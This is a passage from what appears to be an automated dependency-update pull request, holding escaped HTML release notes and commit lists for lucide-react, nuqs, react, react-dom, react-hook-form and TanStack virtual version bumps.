changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.14.7\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies [\u003ca href=\"https://github.com/TanStack/virtual/commit/1e3b908705e04e45be2615f2277580cb09f5cdef\"\u003e\u003ccode\u003e1e3b908\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TanStack/virtual/commit/7dcfc07b877479697124157d3124c09537b87a75\"\u003e\u003ccode\u003e7dcfc07\u003c/code\u003e\u003c/a\u003e]:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/virtual-core\u003c/code\u003e\u003ca href=\"https://github.com/3\"\u003e\u003ccode\u003e@​3\u003c/code\u003e\u003c/a\u003e.17.5\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/virtual/commit/87f689a5c67ee1ed8db1e6754021a6b6b41c8550\"\u003e\u003ccode\u003e87f689a\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/virtual/tree/HEAD/packages/react-virtual/issues/1231\"\u003e#1231\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/virtual/commit/ba5c47a93f597f8370bc9e0119d505551c962a09\"\u003e\u003ccode\u003eba5c47a\u003c/code\u003e\u003c/a\u003e feat(angular-virtual): add chat example and require Angular 20 (\u003ca href=\"https://github.com/TanStack/virtual/tree/HEAD/packages/react-virtual/issues/1228\"\u003e#1228\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/TanStack/virtual/commits/@tanstack/react-virtual@3.14.7/packages/react-virtual\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `lucide-react` from 1.24.0 to 1.25.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/lucide-icons/lucide/releases\"\u003elucide-react's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eVersion 1.25.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix(icons): Rename to \u003ccode\u003ecircle-euro\u003c/code\u003e to match other euro icons by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4531\"\u003elucide-icons/lucide#4531\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump astro from 6.1.10 to 6.4.6 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4487\"\u003elucide-icons/lucide#4487\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(site): empty search results on first load for tag-only matches by \u003ca href=\"https://github.com/taimar\"\u003e\u003ccode\u003e@​taimar\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4413\"\u003elucide-icons/lucide#4413\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(deps-dev): bump \u003ccode\u003e@​babel/core\u003c/code\u003e from 7.28.5 to 7.29.6 by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e[bot] in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4476\"\u003elucide-icons/lucide#4476\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(ci): broken link in brand logo comment by \u003ca href=\"https://github.com/jguddas\"\u003e\u003ccode\u003e@​jguddas\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4533\"\u003elucide-icons/lucide#4533\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003echore(depedencies): Update dependencies by \u003ca href=\"https://github.com/ericfennis\"\u003e\u003ccode\u003e@​ericfennis\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4553\"\u003elucide-icons/lucide#4553\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(docs): add studio link by \u003ca href=\"https://github.com/jguddas\"\u003e\u003ccode\u003e@​jguddas\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4534\"\u003elucide-icons/lucide#4534\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(icons): changed \u003ccode\u003ehdmi-port\u003c/code\u003e icon by \u003ca href=\"https://github.com/karsa-mistmere\"\u003e\u003ccode\u003e@​karsa-mistmere\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4554\"\u003elucide-icons/lucide#4554\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(icons): changed \u003ccode\u003eethernet-port\u003c/code\u003e icon by \u003ca href=\"https://github.com/karsa-mistmere\"\u003e\u003ccode\u003e@​karsa-mistmere\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4555\"\u003elucide-icons/lucide#4555\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efix(icons): changed \u003ccode\u003efile-box\u003c/code\u003e icon by \u003ca href=\"https://github.com/karsa-mistmere\"\u003e\u003ccode\u003e@​karsa-mistmere\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4552\"\u003elucide-icons/lucide#4552\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003efeat(icons): added \u003ccode\u003escan-box\u003c/code\u003e icon by \u003ca href=\"https://github.com/karsa-mistmere\"\u003e\u003ccode\u003e@​karsa-mistmere\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/lucide-icons/lucide/pull/4551\"\u003elucide-icons/lucide#4551\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/lucide-icons/lucide/compare/1.24.0...1.25.0\"\u003ehttps://github.com/lucide-icons/lucide/compare/1.24.0...1.25.0\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/lucide-icons/lucide/commit/f229f83f0c42f46befeac3cfd8ef7aaa82a71325\"\u003e\u003ccode\u003ef229f83\u003c/code\u003e\u003c/a\u003e chore(depedencies): Update dependencies (\u003ca href=\"https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react/issues/4553\"\u003e#4553\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/lucide-icons/lucide/commits/1.25.0/packages/lucide-react\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `nuqs` from 2.9.0 to 2.9.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/47ng/nuqs/releases\"\u003enuqs's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev2.9.1\u003c/h2\u003e\n\u003ch2\u003eBug fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1469\"\u003e#1469\u003c/a\u003e - share internal state across duplicate library copies, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e (closes \u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/798\"\u003e#798\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1470\"\u003e#1470\u003c/a\u003e - keep transitions pending while React Router loaders run, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e (closes \u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1184\"\u003e#1184\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1475\"\u003e#1475\u003c/a\u003e - unwatched keys leaking through filterSearchParams, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1477\"\u003e#1477\u003c/a\u003e - support multi-value search params in createSearchParamsCache, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1479\"\u003e#1479\u003c/a\u003e - preserve hash fragment in createSerializer bases, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1480\"\u003e#1480\u003c/a\u003e - honor call \u0026gt; parser \u0026gt; global precedence for limitUrlUpdates, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eDocumentation\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1462\"\u003e#1462\u003c/a\u003e - remove old references to master, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1463\"\u003e#1463\u003c/a\u003e - update OrcDev testimonial, by \u003ca href=\"https://github.com/TheOrcDev\"\u003e\u003ccode\u003e@​TheOrcDev\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1468\"\u003e#1468\u003c/a\u003e - publishing for supply-chain-security blog post, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1473\"\u003e#1473\u003c/a\u003e - remove stale SinceVersion gates for 2.9.0, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1481\"\u003e#1481\u003c/a\u003e - fix stale build/test guidance and document the fast test loop, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1483\"\u003e#1483\u003c/a\u003e - add link to the GitHub releases feed, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1490\"\u003e#1490\u003c/a\u003e - fix npm stats crash, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eOther changes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1464\"\u003e#1464\u003c/a\u003e - prevent finalize re-runs from double-commenting, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1465\"\u003e#1465\u003c/a\u003e - cover network-boundary fetchers with MSW, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1466\"\u003e#1466\u003c/a\u003e - bump actions/checkout from 6.0.2 to 7.0.0, by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1467\"\u003e#1467\u003c/a\u003e - bump pnpm/action-setup from 6.0.8 to 6.0.9, by \u003ca href=\"https://github.com/dependabot\"\u003e\u003ccode\u003e@​dependabot\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1471\"\u003e#1471\u003c/a\u003e - snapshot the exported types API, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e (closes \u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1059\"\u003e#1059\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1472\"\u003e#1472\u003c/a\u003e - drop URL.canParse feature detection, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1476\"\u003e#1476\u003c/a\u003e - run repro-1358 spec on react-router v8, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1478\"\u003e#1478\u003c/a\u003e - pass ISR token and dispatch inputs via env in nextjs-release workflows, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1484\"\u003e#1484\u003c/a\u003e - type-check with the TypeScript 7 native compiler, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1486\"\u003e#1486\u003c/a\u003e - bump TS6 bridge to 6.0.2 so the release audit resolves signatures, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1491\"\u003e#1491\u003c/a\u003e - bump dependencies, by \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1492\"\u003e#1492\u003c/a\u003e - add bundle size comparison workflow for PRs, by \u003ca href=\"https://github.com/wasihussain914\"\u003e\u003ccode\u003e@​wasihussain914\u003c/code\u003e\u003c/a\u003e \u0026amp; \u003ca href=\"https://github.com/franky47\"\u003e\u003ccode\u003e@​franky47\u003c/code\u003e\u003c/a\u003e (closes \u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1071\"\u003e#1071\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eThanks\u003c/h2\u003e\n\u003cp\u003eHuge thanks to \u003ca href=\"https://github.com/ayesigaisaac\"\u003e\u003ccode\u003e@​ayesigaisaac\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/BjoernRave\"\u003e\u003ccode\u003e@​BjoernRave\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/brunowego\"\u003e\u003ccode\u003e@​brunowego\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/crownofapollo\"\u003e\u003ccode\u003e@​crownofapollo\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/dominik-stagtech\"\u003e\u003ccode\u003e@​dominik-stagtech\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/girishcx07\"\u003e\u003ccode\u003e@​girishcx07\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/himself65\"\u003e\u003ccode\u003e@​himself65\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/hugo-dlb\"\u003e\u003ccode\u003e@​hugo-dlb\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/i3dly\"\u003e\u003ccode\u003e@​i3dly\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/janglad\"\u003e\u003ccode\u003e@​janglad\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/ktisakib\"\u003e\u003ccode\u003e@​ktisakib\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/lukasver\"\u003e\u003ccode\u003e@​lukasver\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/marko-hologram\"\u003e\u003ccode\u003e@​marko-hologram\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/miinhho\"\u003e\u003ccode\u003e@​miinhho\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/MrHeer\"\u003e\u003ccode\u003e@​MrHeer\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/olafurns7\"\u003e\u003ccode\u003e@​olafurns7\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/Philitician\"\u003e\u003ccode\u003e@​Philitician\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/ramu-r\"\u003e\u003ccode\u003e@​ramu-r\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/Sukuna0007Abhi\"\u003e\u003ccode\u003e@​Sukuna0007Abhi\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TechWithTy\"\u003e\u003ccode\u003e@​TechWithTy\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/tefkah\"\u003e\u003ccode\u003e@​tefkah\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TheOrcDev\"\u003e\u003ccode\u003e@​TheOrcDev\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/TimmTha7er\"\u003e\u003ccode\u003e@​TimmTha7er\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/wasihussain914\"\u003e\u003ccode\u003e@​wasihussain914\u003c/code\u003e\u003c/a\u003e, and \u003ca href=\"https://github.com/XsidX\"\u003e\u003ccode\u003e@​XsidX\u003c/code\u003e\u003c/a\u003e for helping!\u003c/p\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/commit/b72c526f9dd94bf5a105b320fcb5955cbc68a8b3\"\u003e\u003ccode\u003eb72c526\u003c/code\u003e\u003c/a\u003e chore: bump dependencies (\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1491\"\u003e#1491\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/commit/6f929552c563c046576c3ccfec8775e526bc8949\"\u003e\u003ccode\u003e6f92955\u003c/code\u003e\u003c/a\u003e fix: keep transitions pending while React Router loaders run (\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1470\"\u003e#1470\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/commit/4e2d09f251721497d62fdae1b442de92ed2d667b\"\u003e\u003ccode\u003e4e2d09f\u003c/code\u003e\u003c/a\u003e fix: honor call \u0026gt; parser \u0026gt; global precedence for limitUrlUpdates (\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1480\"\u003e#1480\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/commit/1406c8cea8dab72f69fd74838724bb3e5989d54f\"\u003e\u003ccode\u003e1406c8c\u003c/code\u003e\u003c/a\u003e fix: share internal state across duplicate library copies (\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1469\"\u003e#1469\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/commit/fc23d070a8daaea150b2bb1c8c3eb15f10d51c56\"\u003e\u003ccode\u003efc23d07\u003c/code\u003e\u003c/a\u003e fix(key-isolation): unwatched keys leaking through filterSearchParams (\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1475\"\u003e#1475\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/commit/b61f1a3432e2b65f32986215e84b44249154d1b6\"\u003e\u003ccode\u003eb61f1a3\u003c/code\u003e\u003c/a\u003e fix: support multi-value search params in createSearchParamsCache (\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1477\"\u003e#1477\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/commit/6646aea7ddba3da15c3622fe6f7acdb290fa9c09\"\u003e\u003ccode\u003e6646aea\u003c/code\u003e\u003c/a\u003e perf: type-check with the TypeScript 7 native compiler (\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1484\"\u003e#1484\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/commit/eafdf86ac83dae9772e1c883981475ee8aaf4976\"\u003e\u003ccode\u003eeafdf86\u003c/code\u003e\u003c/a\u003e fix: preserve hash fragment in createSerializer bases (\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1479\"\u003e#1479\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/commit/039adf9d2291949a51a5f0d4eb03e536a19e8a9a\"\u003e\u003ccode\u003e039adf9\u003c/code\u003e\u003c/a\u003e ref: drop URL.canParse feature detection (\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1472\"\u003e#1472\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/47ng/nuqs/commit/19950b09125a2d49709fe9afad8281e44c7df0d1\"\u003e\u003ccode\u003e19950b0\u003c/code\u003e\u003c/a\u003e test: snapshot the exported types API (\u003ca href=\"https://github.com/47ng/nuqs/tree/HEAD/packages/nuqs/issues/1471\"\u003e#1471\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/47ng/nuqs/commits/v2.9.1/packages/nuqs\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `react` from 19.2.7 to 19.2.8\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/react/react/releases\"\u003ereact's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e19.2.8 (July 21st, 2026)\u003c/h2\u003e\n\u003ch2\u003eReact Server Components\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ePerformance improvements when decoding\n(\u003ca href=\"https://redirect.github.com/facebook/react/pull/37087\"\u003e#37087\u003c/a\u003e by \u003ca href=\"https://github.com/eps1lon\"\u003e\u003ccode\u003e@​eps1lon\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react/react/commit/1dd4ecbdabf826f527fc9a58c05ea70375b7d170\"\u003e\u003ccode\u003e1dd4ecb\u003c/code\u003e\u003c/a\u003e [FlightReply] Performance improvements when decoding (\u003ca href=\"https://github.com/react/react/tree/HEAD/packages/react/issues/37087\"\u003e#37087\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react/react/commit/b0d2fdb78bdfae075a7fa02ddcebbf25f90952c2\"\u003e\u003ccode\u003eb0d2fdb\u003c/code\u003e\u003c/a\u003e [19.2.x] Update required references to GitHub repo (\u003ca href=\"https://github.com/react/react/tree/HEAD/packages/react/issues/36753\"\u003e#36753\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/react/react/commits/v19.2.8/packages/react\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `react-dom` from 19.2.7 to 19.2.8\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/react/react/releases\"\u003ereact-dom's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e19.2.8 (July 21st, 2026)\u003c/h2\u003e\n\u003ch2\u003eReact Server Components\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003ePerformance improvements when decoding\n(\u003ca href=\"https://redirect.github.com/facebook/react/pull/37087\"\u003e#37087\u003c/a\u003e by \u003ca href=\"https://github.com/eps1lon\"\u003e\u003ccode\u003e@​eps1lon\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react/react/commit/1dd4ecbdabf826f527fc9a58c05ea70375b7d170\"\u003e\u003ccode\u003e1dd4ecb\u003c/code\u003e\u003c/a\u003e [FlightReply] Performance improvements when decoding (\u003ca href=\"https://github.com/react/react/tree/HEAD/packages/react-dom/issues/37087\"\u003e#37087\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react/react/commit/b0d2fdb78bdfae075a7fa02ddcebbf25f90952c2\"\u003e\u003ccode\u003eb0d2fdb\u003c/code\u003e\u003c/a\u003e [19.2.x] Update required references to GitHub repo (\u003ca href=\"https://github.com/react/react/tree/HEAD/packages/react-dom/issues/36753\"\u003e#36753\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/react/react/commits/v19.2.8/packages/react-dom\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `react-hook-form` from 7.81.0 to 7.82.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/react-hook-form/react-hook-form/releases\"\u003ereact-hook-form's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eVersion 7.82.0\u003c/h2\u003e\n\u003cp\u003e🚀 \u003cstrong\u003efeat:\u003c/strong\u003e add opt-in \u003ccode\u003edelayError\u003c/code\u003e option for \u003ccode\u003esetValue\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13337\"\u003e#13337\u003c/a\u003e)\u003c/p\u003e\n\u003cpre 